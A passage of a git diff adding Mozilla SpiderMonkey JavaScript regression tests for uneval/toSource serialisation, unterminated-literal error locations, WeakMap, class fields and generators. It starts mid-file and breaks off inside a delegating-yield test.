+var summary = 'A [DontEnum] prop, if overridden, should appear in uneval()';
+var cnCOMMA = ',';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var cnLPAREN = '(';
+var cnRPAREN = ')';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = uneval(obj);
+expect = '({toString:9})';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = uneval(obj);
+expect = '({toString:9})';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({toString:9})';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({hasOwnProperty:"Hi"})';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Sort properties alphabetically -
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes string of form '({"c", "b", "a", 2})' and returns '({"a","b","c",2})'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripParens(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ ret = addParens(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off parens at beginning and end of text -
+ */
+function stripParens(text)
+{
+ // remember to escape the parens...
+ var arr = text.match(/^\((.*)\)$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+function addParens(text)
+{
+ return cnLPAREN + text + cnRPAREN;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-96284-002.js b/js/src/tests/non262/extensions/uneval/regress-96284-002.js
new file mode 100644
index 0000000000..f49b670aff
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-96284-002.js
@@ -0,0 +1,147 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 September 2001
+ *
+ * SUMMARY: Double quotes should be escaped in uneval(new Error('""'))
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96284
+ *
+ * The real point here is this: we should be able to reconstruct an object
+ * obj from uneval(obj). We'll test this on various types of objects.
+ *
+ * Method: define obj2 = eval(uneval(obj1)) and verify that
+ * obj2.toSource() == obj1.toSource().
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96284;
+var summary = 'Double quotes should be escaped in Error.prototype.toSource()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj1 = {};
+var obj2 = {};
+var cnTestString = '"This is a \" STUPID \" test string!!!"\\';
+
+
+// various NativeError objects -
+status = inSection(1);
+obj1 = Error(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(2);
+obj1 = EvalError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(3);
+obj1 = RangeError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(4);
+obj1 = ReferenceError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(5);
+obj1 = SyntaxError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(6);
+obj1 = TypeError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(7);
+obj1 = URIError(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+// other types of objects -
+status = inSection(8);
+obj1 = new String(cnTestString);
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(9);
+obj1 = {color:'red', texture:cnTestString, hasOwnProperty:42};
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(10);
+obj1 = function(x) {function g(y){return y+1;} return g(x);};
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(11);
+obj1 = new Number(eval('6'));
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(12);
+obj1 = /ad;(lf)kj(2309\/\/)\/\//;
+obj2 = eval(uneval(obj1));
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-bug567606.js b/js/src/tests/non262/extensions/uneval/regress-bug567606.js
new file mode 100644
index 0000000000..7123f8e36b
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-bug567606.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.uneval)
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var global = this;
+
+(function() {
+ function f() {
+ this.b = function() {};
+ Object.defineProperty(this, "b", ({
+ configurable: global.__defineSetter__("", function() {})
+ }));
+ }
+ for (y of [0]) {
+ _ = new f();
+ }
+})();
+uneval(this);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/strict-function-toSource.js b/js/src/tests/non262/extensions/uneval/strict-function-toSource.js
new file mode 100644
index 0000000000..383da34df6
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/strict-function-toSource.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Bug 800407 - Functions defined with Function construcor
+ * do have strict mode when JSOPTION_STRICT_MODE is on.
+ */
+
+options("strict_mode");
+function testRunOptionStrictMode(str, arg, result) {
+ var strict_inner = new Function('return typeof this == "undefined";');
+ return strict_inner;
+}
+let inner = testRunOptionStrictMode();
+assertEq(inner(), true);
+assertEq(eval(uneval(inner))(), true);
+
+assertEq((new Function('x', 'return x*2;')).toSource().includes('"use strict"'), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/symbol-uneval.js b/js/src/tests/non262/extensions/uneval/symbol-uneval.js
new file mode 100644
index 0000000000..1454bc0c3a
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/symbol-uneval.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.uneval)
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq(uneval(Symbol.iterator), "Symbol.iterator");
+assertEq(uneval(Symbol()), "Symbol()");
+assertEq(uneval(Symbol("")), 'Symbol("")');
+assertEq(uneval(Symbol("ponies")), 'Symbol("ponies")');
+assertEq(uneval(Symbol.for("ponies")), 'Symbol.for("ponies")');
+
+assertEq({glyph: Symbol(undefined)}.toSource(), "({glyph:Symbol()})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/uneval/toSource-0.js b/js/src/tests/non262/extensions/uneval/toSource-0.js
new file mode 100644
index 0000000000..60906463c7
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/toSource-0.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(eval(uneval('\x001')), '\x001');
+
+f = eval('(' + (function () { return '\x001'; }).toString() + ')');
+assertEq(f(), '\x001');
+
+assertEq(eval('\x001'.toSource()) == '\x001', true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/unterminated-literal-error-location.js b/js/src/tests/non262/extensions/unterminated-literal-error-location.js
new file mode 100644
index 0000000000..de9767a1c2
--- /dev/null
+++ b/js/src/tests/non262/extensions/unterminated-literal-error-location.js
@@ -0,0 +1,119 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1434429;
+var summary =
+ "Report unterminated string/template literal errors with the line/column " +
+ "number of the point of non-termination";
+
+function test(f, quotes, [line, col])
+{
+ var caught = false;
+ try
+ {
+ f();
+ }
+ catch (e)
+ {
+ caught = true;
+ assertEq(e.lineNumber, line, "line number");
+ assertEq(e.columnNumber, col, "column number");
+ assertEq(e.message.includes(quotes), true,
+ "message must contain delimiter");
+ }
+
+ assertEq(caught, true);
+}
+
+test(function() {
+ //0123
+ eval("'hi");
+}, "''", [1, 3]);
+
+test(function() {
+ //0123 4
+ eval("'hi\\");
+}, "''", [1, 4]);
+
+test(function() {
+ //0123456
+ eval(" 'hi");
+}, "''", [1, 6]);
+
+test(function() {
+ //0123456 7
+ eval(" 'hi\\");
+}, "''", [1, 7]);
+
+test(function() {
+ //01234567 01234567
+ eval('var x =\n "hi');
+}, '""', [2, 7]);
+
+test(function() {
+ //0123456 01234567 8
+ eval('var x =\n "hi\\');
+}, '""', [2, 8]);
+
+test(function() {
+ // 1
+ //0123456 01234567 012345678 01234567890123
+ eval('var x =\n "hi\\\n bye\\\n no really');
+}, '""', [4, 13]);
+
+test(function() {
+ // 1
+ //0123456 01234567 012345678 01234567890123 4
+ eval('var x =\n "hi\\\n bye\\\n no really\\');
+}, '""', [4, 14]);
+
+test(function() {
+ //0123456 01234567 012345678
+ eval('var x =\n "hi\\\n bye\n');
+}, '""', [3, 8]);
+
+test(function() {
+ //0123456 01234567 012345678 9
+ eval('var x =\n "hi\\\n bye\\');
+}, '""', [3, 9]);
+
+test(function() {
+ //0123456 01234567
+ eval('var x =\n `');
+}, '``', [2, 7]);
+
+test(function() {
+ //0123456 01234567 8
+ eval('var x =\n `\\');
+}, '``', [2, 8]);
+
+test(function() {
+ // 1
+ //0123456 0123456789012345
+ eval('var x =\n htmlEscape`');
+}, '``', [2, 15]);
+
+test(function() {
+ // 1
+ //0123456 0123456789012345 6
+ eval('var x =\n htmlEscape`\\');
+}, '``', [2, 16]);
+
+test(function() {
+ // 1
+ //0123456 01234567890123 01234
+ eval('var x =\n htmlEscape\n `');
+}, '``', [3, 4]);
+
+test(function() {
+ // 1
+ //0123456 01234567890123 01234 5
+ eval('var x =\n htmlEscape\n `\\');
+}, '``', [3, 5]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/weakmap.js b/js/src/tests/non262/extensions/weakmap.js
new file mode 100644
index 0000000000..927a4dc36b
--- /dev/null
+++ b/js/src/tests/non262/extensions/weakmap.js
@@ -0,0 +1,121 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Andreas Gal <gal@mozilla.com>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 547941;
+var summary = 'js weak maps';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var TestPassCount = 0;
+ var TestFailCount = 0;
+ var TestTodoCount = 0;
+
+ var TODO = 1;
+
+ function check(fun, todo) {
+ var thrown = null;
+ var success = false;
+ try {
+ success = fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (thrown)
+ success = false;
+
+ if (todo) {
+ TestTodoCount++;
+
+ if (success) {
+ var ex = new Error;
+ print ("=== TODO but PASSED? ===");
+ print (ex.stack);
+ print ("========================");
+ }
+
+ return;
+ }
+
+ if (success) {
+ TestPassCount++;
+ } else {
+ TestFailCount++;
+
+ var ex = new Error;
+ print ("=== FAILED ===");
+ print (ex.stack);
+ if (thrown) {
+ print (" threw exception:");
+ print (thrown);
+ }
+ print ("==============");
+ }
+ }
+
+ function checkThrows(fun, todo) {
+ let thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = true;
+ }
+
+ check(() => thrown, todo);
+ }
+
+ var key = {};
+ var map = new WeakMap();
+
+ check(() => !map.has(key));
+ check(() => map.delete(key) == false);
+ check(() => map.set(key, 42) === map);
+ check(() => map.get(key) == 42);
+ check(() => typeof map.get({}) == "undefined");
+ check(() => map.get({}, "foo") == undefined);
+
+ gc(); gc(); gc();
+
+ check(() => map.get(key) == 42);
+ check(() => map.delete(key) == true);
+ check(() => map.delete(key) == false);
+ check(() => map.delete({}) == false);
+
+ check(() => typeof map.get(key) == "undefined");
+ check(() => !map.has(key));
+ check(() => map.delete(key) == false);
+
+ var value = { };
+ check(() => map.set(new Object(), value) === map);
+ gc(); gc(); gc();
+
+ check(() => map.has("non-object key") == false);
+ check(() => map.has() == false);
+ check(() => map.get("non-object key") == undefined);
+ check(() => map.get() == undefined);
+ check(() => map.delete("non-object key") == false);
+ check(() => map.delete() == false);
+
+ check(() => map.set(key) === map);
+ check(() => map.get(key) == undefined);
+
+ checkThrows(() => map.set("non-object key", value));
+
+ print ("done");
+
+ reportCompare(0, TestFailCount, "weak map tests");
+}
diff --git a/js/src/tests/non262/fields/await-identifier-module-1.js b/js/src/tests/non262/fields/await-identifier-module-1.js
new file mode 100644
index 0000000000..71e1f51b78
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-module-1.js
@@ -0,0 +1,3 @@
+// |reftest| error:SyntaxError module
+
+async () => class { [await] = 1 };
diff --git a/js/src/tests/non262/fields/await-identifier-module-2.js b/js/src/tests/non262/fields/await-identifier-module-2.js
new file mode 100644
index 0000000000..1ad442d4dd
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-module-2.js
@@ -0,0 +1,3 @@
+// |reftest| error:SyntaxError module
+
+async () => class { x = await };
diff --git a/js/src/tests/non262/fields/await-identifier-module-3.js b/js/src/tests/non262/fields/await-identifier-module-3.js
new file mode 100644
index 0000000000..3b0400dc07
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-module-3.js
@@ -0,0 +1,3 @@
+// |reftest| error:SyntaxError module
+
+async () => class { x = await 1 };
diff --git a/js/src/tests/non262/fields/await-identifier-script.js b/js/src/tests/non262/fields/await-identifier-script.js
new file mode 100644
index 0000000000..a426fd9c18
--- /dev/null
+++ b/js/src/tests/non262/fields/await-identifier-script.js
@@ -0,0 +1,22 @@
+var await = 1;
+
+async function getClass() {
+ return class {
+ x = await;
+ };
+}
+
+getClass().then(cl => {
+ assertEq(new cl().x, 1);
+});
+
+assertEq(raisesException(SyntaxError)(`
+async () => class { [await] = 1 };
+`), true);
+
+assertEq(raisesException(SyntaxError)(`
+ async () => class { x = await 1 };
+`), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/browser.js b/js/src/tests/non262/fields/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/fields/browser.js
diff --git a/js/src/tests/non262/fields/bug1587574.js b/js/src/tests/non262/fields/bug1587574.js
new file mode 100644
index 0000000000..547f4e1382
--- /dev/null
+++ b/js/src/tests/non262/fields/bug1587574.js
@@ -0,0 +1,14 @@
+// Don't Crash
+var testStr = `
+class C extends Object {
+ constructor() {
+ eval(\`a => b => {
+ class Q { f = 1; } // inhibits lazy parsing
+ super();
+ }\`);
+ }
+}
+new C;`
+assertEq(raisesException(ReferenceError)(testStr), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/init-order.js b/js/src/tests/non262/fields/init-order.js
new file mode 100644
index 0000000000..6679a65e7b
--- /dev/null
+++ b/js/src/tests/non262/fields/init-order.js
@@ -0,0 +1,25 @@
+function g1() {
+ throw 10;
+}
+
+function g2() {
+ throw 20;
+}
+
+class A {
+ #x = "hello" + g1();
+ constructor(o = g2()) {
+ }
+};
+
+var thrown;
+try {
+ new A;
+} catch (e) {
+ thrown = e;
+}
+
+assertEq(thrown, 10);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/numeric-fields.js b/js/src/tests/non262/fields/numeric-fields.js
new file mode 100644
index 0000000000..9bd8d4abce
--- /dev/null
+++ b/js/src/tests/non262/fields/numeric-fields.js
@@ -0,0 +1,14 @@
+// Number field names.
+class C {
+ 128 = class {};
+}
+assertEq(new C()[128].name, "128");
+
+// Bigint field names.
+class D {
+ 128n = class {};
+}
+assertEq(new D()[128].name, "128");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/scopes.js b/js/src/tests/non262/fields/scopes.js
new file mode 100644
index 0000000000..39ff31c44a
--- /dev/null
+++ b/js/src/tests/non262/fields/scopes.js
@@ -0,0 +1,11 @@
+(function({
+ k = class i {
+ [_ => i]()
+ {}
+ }
+} = {}) {
+ var j = 0;
+})()
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/fields/shell.js b/js/src/tests/non262/fields/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/fields/shell.js
diff --git a/js/src/tests/non262/fields/unimplemented.js b/js/src/tests/non262/fields/unimplemented.js
new file mode 100644
index 0000000000..49a09468ec
--- /dev/null
+++ b/js/src/tests/non262/fields/unimplemented.js
@@ -0,0 +1,57 @@
+// Field syntax doesn't crash the engine when fields are disabled.
+
+// Are fields enabled?
+let fieldsEnabled = false;
+try {
+ Function("class C { x; }");
+ fieldsEnabled = true;
+} catch (exc) {
+ assertEq(exc instanceof SyntaxError, true);
+}
+
+// If not, run these tests. (Many other tests cover actual behavior of the
+// feature when enabled.)
+if (!fieldsEnabled) {
+ let source = `class C {
+ x
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ x = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ 0 = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ [0] = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ "hi" = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ "hi" = 0;
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ d = function(){};
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+
+ source = `class C {
+ d = class D { x = 0; };
+ }`;
+ assertThrowsInstanceOf(() => Function(source), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/326466-01.js b/js/src/tests/non262/generators/326466-01.js
new file mode 100644
index 0000000000..a5123ecf71
--- /dev/null
+++ b/js/src/tests/non262/generators/326466-01.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326466;
+var summary = 'Implement Pythonic generators and iteration protocol support';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function* fib()
+{
+ var a = 0, b = 1;
+
+ while (true)
+ {
+ yield a;
+ var t = a;
+ a = b;
+ b += t;
+ }
+}
+
+var g = fib();
+
+expect = '[object Generator]';
+actual = g.toString();
+reportCompare(expect, actual, summary);
+
+var actual = [];
+var expect = [0, 1, 1, 2, 3, 5, 8, 13];
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+actual.push(g.next().value);
+reportCompare(expect.join(), actual.join(), summary);
+
diff --git a/js/src/tests/non262/generators/browser.js b/js/src/tests/non262/generators/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/generators/browser.js
diff --git a/js/src/tests/non262/generators/construct-newtarget.js b/js/src/tests/non262/generators/construct-newtarget.js
new file mode 100644
index 0000000000..f2087852b0
--- /dev/null
+++ b/js/src/tests/non262/generators/construct-newtarget.js
@@ -0,0 +1,79 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const GeneratorFunction = function*(){}.constructor;
+
+
+// Test subclassing %GeneratorFunction% works correctly.
+class MyGenerator extends GeneratorFunction {}
+
+var fn = new MyGenerator();
+assertEq(fn instanceof MyGenerator, true);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyGenerator.prototype);
+
+fn = Reflect.construct(MyGenerator, []);
+assertEq(fn instanceof MyGenerator, true);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyGenerator.prototype);
+
+fn = Reflect.construct(MyGenerator, [], MyGenerator);
+assertEq(fn instanceof MyGenerator, true);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyGenerator.prototype);
+
+fn = Reflect.construct(MyGenerator, [], GeneratorFunction);
+assertEq(fn instanceof MyGenerator, false);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+
+// Set a different constructor as NewTarget.
+fn = Reflect.construct(MyGenerator, [], Array);
+assertEq(fn instanceof MyGenerator, false);
+assertEq(fn instanceof GeneratorFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+fn = Reflect.construct(GeneratorFunction, [], Array);
+assertEq(fn instanceof GeneratorFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+
+// The prototype defaults to %GeneratorFunctionPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+fn = Reflect.construct(GeneratorFunction, [], NewTargetNullPrototype);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+fn = Reflect.construct(MyGenerator, [], NewTargetNullPrototype);
+assertEq(fn instanceof MyGenerator, false);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(GeneratorFunction, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+fn = Reflect.construct(GeneratorFunction, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(fn instanceof GeneratorFunction, true);
+assertEq(Object.getPrototypeOf(fn), GeneratorFunction.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/create-function-parse-before-getprototype.js b/js/src/tests/non262/generators/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..1373e6fdb3
--- /dev/null
+++ b/js/src/tests/non262/generators/create-function-parse-before-getprototype.js
@@ -0,0 +1,19 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+var Generator = function*(){}.constructor;
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(Generator, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-1.js b/js/src/tests/non262/generators/delegating-yield-1.js
new file mode 100644
index 0000000000..f9df1d7f89
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-1.js
@@ -0,0 +1,42 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test that yield* re-yields received results without re-boxing.
+
+function results(results) {
+ var i = 0;
+ function next() {
+ return results[i++];
+ }
+ var iter = { next: next }
+ var ret = {};
+ ret[Symbol.iterator] = function () { return iter; }
+ return ret;
+}
+
+function* yield_results(expected) {
+ return yield* results(expected);
+}
+
+function collect_results(iterable) {
+ var ret = [];
+ var result;
+ var iter = iterable[Symbol.iterator]();
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+// Sanity check.
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-10.js b/js/src/tests/non262/generators/delegating-yield-10.js
new file mode 100644
index 0000000000..1f317023e4
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-10.js
@@ -0,0 +1,49 @@
+// Errors accessing next, done, or value don't cause an exception to be
+// thrown into the iterator of a yield*.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+
+var log = "", inner, outer;
+
+// That var is poisoooooon, p-poison poison...
+var Poison = new Error;
+
+function log_calls(method) {
+ return function () {
+ log += "x"
+ return method.call(this);
+ }
+}
+
+function poison(receiver, prop) {
